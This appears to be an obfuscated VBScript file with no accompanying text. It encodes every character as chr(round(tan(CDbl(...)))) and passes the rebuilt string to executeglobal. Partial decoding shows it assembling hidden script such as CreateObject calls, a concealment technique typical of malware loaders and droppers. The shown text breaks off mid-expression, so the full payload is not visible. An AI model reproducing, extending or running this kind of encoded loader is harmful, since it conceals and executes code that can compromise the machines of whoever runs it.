chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,5609927193156")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56202462195045")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54996600675868")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56162227224979")))) & chr(round(tan(CDbl("1,56048741364865")))) & chr(round(tan(CDbl("1,56246318635476")))) & chr(round(tan(CDbl("1,55874871694071")))) & chr(round(tan(CDbl("1,56253205213525")))) & chr(round(tan(CDbl("1,56162227224979")))) & chr(round(tan(CDbl("1,56059259930094")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,55781004387472")))) & chr(round(tan(CDbl("1,56253205213525")))) & chr(round(tan(CDbl("1,55587206180481")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55860180934664")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56186799261506")))) & chr(round(tan(CDbl("1,56153733213277")))) & chr(round(tan(CDbl("1,56048741364865")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,55781004387472")))) & chr(round(tan(CDbl("1,56253205213525")))) & chr(round(tan(CDbl("1,55564597092013")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56253205213525")))) & chr(round(tan(CDbl("1,5490606199531")))) & chr(round(tan(CDbl("1,55860180934664")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56048741364865")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,55763919132214")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,54807296595326")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,54516091827322")))) & chr(round(tan(CDbl("1,54807296595326")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,54807296595326")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56162227224979")))) & chr(round(tan(CDbl("1,56186799261506")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,5565115842075")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56202462195045")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,5613626443889")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55039099610836")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55763919132214")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,55781004387472")))) & chr(round(tan(CDbl("1,56253205213525")))) & chr(round(tan(CDbl("1,55587206180481")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,5609927193156")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,55781004387472")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,55781004387472")))) & chr(round(tan(CDbl("1,56253205213525")))) & chr(round(tan(CDbl("1,55587206180481")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,54807296595326")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,5613626443889")))) & chr(round(tan(CDbl("1,54807296595326")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55039099610836")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,54807296595326")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56118123849519")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,56224952636229")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,55587206180481")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56162227224979")))) & chr(round(tan(CDbl("1,56186799261506")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56162227224979")))) & chr(round(tan(CDbl("1,56186799261506")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56153733213277")))) & chr(round(tan(CDbl("1,56210089378312")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56162227224979")))) & chr(round(tan(CDbl("1,56186799261506")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56162227224979")))) & chr(round(tan(CDbl("1,56186799261506")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54448660954197")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55781004387472")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,55781004387472")))) & chr(round(tan(CDbl("1,56253205213525")))) & chr(round(tan(CDbl("1,55587206180481")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,54807296595326")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,5613626443889")))) & chr(round(tan(CDbl("1,54807296595326")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55039099610836")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,5609927193156")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,557976516322")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56246318635476")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,557976516322")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56246318635476")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,55781004387472")))) & chr(round(tan(CDbl("1,56253205213525")))) & chr(round(tan(CDbl("1,55564597092013")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56253205213525")))) & chr(round(tan(CDbl("1,5490606199531")))) & chr(round(tan(CDbl("1,55587206180481")))) & chr(round(tan(CDbl("1,56153733213277")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56210089378312")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56210089378312")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56118123849519")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,5609927193156")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56202462195045")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54996600675868")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55903216364514")))) & chr(round(tan(CDbl("1,55564597092013")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56224952636229")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,56224952636229")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,55587206180481")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,460139105621")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,5609927193156")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,56224952636229")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,55587206180481")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55466869295126")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54996600675868")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56118123849519")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56210089378312")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56118123849519")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56210089378312")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56118123849519")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,54448660954197")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55587206180481")))) & chr(round(tan(CDbl("1,56118123849519")))) & chr(round(tan(CDbl("1,56202462195045")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,56224952636229")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,55587206180481")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56246318635476")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56246318635476")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56224952636229")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56108789396079")))) & chr(round(tan(CDbl("1,56153733213277")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56059259930094")))) & chr(round(tan(CDbl("1,56048741364865")))) & chr(round(tan(CDbl("1,56153733213277")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56210089378312")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56118123849519")))) & ""
executeglobal chr(round(tan(CDbl("1.55874871694071")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56118123849519")))) & chr(round(tan(CDbl("1.56027039976317")))) & chr(round(tan(CDbl("1.5609927193156")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55587206180481")))) & chr(round(tan(CDbl("1.56202462195045")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56048741364865")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.55813877496084")))) & chr(round(tan(CDbl("1.56059259930094")))) & chr(round(tan(CDbl("1.5613626443889")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.55874871694071")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56202462195045")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.56186799261506")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.56108789396079")))) & chr(round(tan(CDbl("1.5490606199531")))) & chr(round(tan(CDbl("1.5565115842075")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.56153733213277")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.55874871694071")))) & chr(round(tan(CDbl("1.56253205213525")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56162227224979")))) & chr(round(tan(CDbl("1.55813877496084")))) & chr(round(tan(CDbl("1.56059259930094")))) & chr(round(tan(CDbl("1.5613626443889")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.55874871694071")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55781004387472")))) & chr(round(tan(CDbl("1.56253205213525")))) & chr(round(tan(CDbl("1.55564597092013")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56253205213525")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56118123849519")))) & chr(round(tan(CDbl("1.56027039976317")))) & chr(round(tan(CDbl("1.5609927193156")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.5490606199531")))) & chr(round(tan(CDbl("1.55813877496084")))) & chr(round(tan(CDbl("1.56186799261506")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.55889212723659")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56246318635476")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.5565115842075")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.56153733213277")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.55930258007987")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56202462195045")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.56186799261506")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.5490606199531")))) & chr(round(tan(CDbl("1.55874871694071")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56202462195045")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.56186799261506")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.5565115842075")))) & chr(round(tan(CDbl("1.56224952636229")))) & chr(round(tan(CDbl("1.56153733213277")))) & chr(round(tan(CDbl("1.56153733213277")))) & chr(round(tan(CDbl("1.557976516322")))) & chr(round(tan(CDbl("1.56048741364865")))) & chr(round(tan(CDbl("1.56162227224979")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.54807296595326")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55039099610836")))) & chr(round(tan(CDbl("1.54807296595326")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.5565115842075")))) & chr(round(tan(CDbl("1.56048741364865")))) & chr(round(tan(CDbl("1.56153733213277")))) & chr(round(tan(CDbl("1.56210089378312")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.5609927193156")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56202462195045")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54996600675868")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56162227224979")))) & chr(round(tan(CDbl("1.56048741364865")))) & chr(round(tan(CDbl("1.56246318635476")))) & chr(round(tan(CDbl("1.55874871694071")))) & chr(round(tan(CDbl("1.56253205213525")))) & chr(round(tan(CDbl("1.56162227224979")))) & chr(round(tan(CDbl("1.56059259930094")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.55781004387472")))) & chr(round(tan(CDbl("1.56253205213525")))) & chr(round(tan(CDbl("1.55587206180481")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55860180934664")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56186799261506")))) & chr(round(tan(CDbl("1.56153733213277")))) & chr(round(tan(CDbl("1.56048741364865")))) & chr(round(tan(CDbl("1.56069566020957")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.54580153317598")))) & chr(round(tan(CDbl("1.55781004387472")))) & chr(round(tan(CDbl("1.56253205213525")))) & chr(round(tan(CDbl("1.55564597092013")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.56253205213525")))) & chr(round(tan(CDbl("1.5490606199531")))) & chr(round(tan(CDbl("1.55860180934664")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.56048741364865")))) & chr(round(tan(CDbl("1.56079666010823")))) & chr(round(tan(CDbl("1.55763919132214")))) & chr(round(tan(CDbl("1.56127280520128")))) & chr(round(tan(CDbl("1.56170566812984")))) & chr(round(tan(CDbl("1.56089566020691")))) & chr(round(tan(CDbl("1.54807296595326")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.54516091827322")))) & chr(round(tan(CDbl("1.54807296595326")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.54807296595326")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.54641091762218")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56162227224979")))) & chr(round(tan(CDbl("1.56186799261506")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.54139303859089")))) & chr(round(tan(CDbl("1.49402443552512")))) & chr(round(tan(CDbl("1.47112767430373")))) & chr(round(tan(CDbl("1.460139105621")))) & chr(round(tan(CDbl("1.5565115842075")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.56202462195045")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.5613626443889")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55440435248689")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.55039099610836")))) & chr(round(tan(CDbl("1.53955649336463")))) & chr(round(tan(CDbl("1.56217585068276")))) & chr(round(tan(CDbl("1.56178756150448")))) & chr(round(tan(CDbl("1.53955649336463")))) & 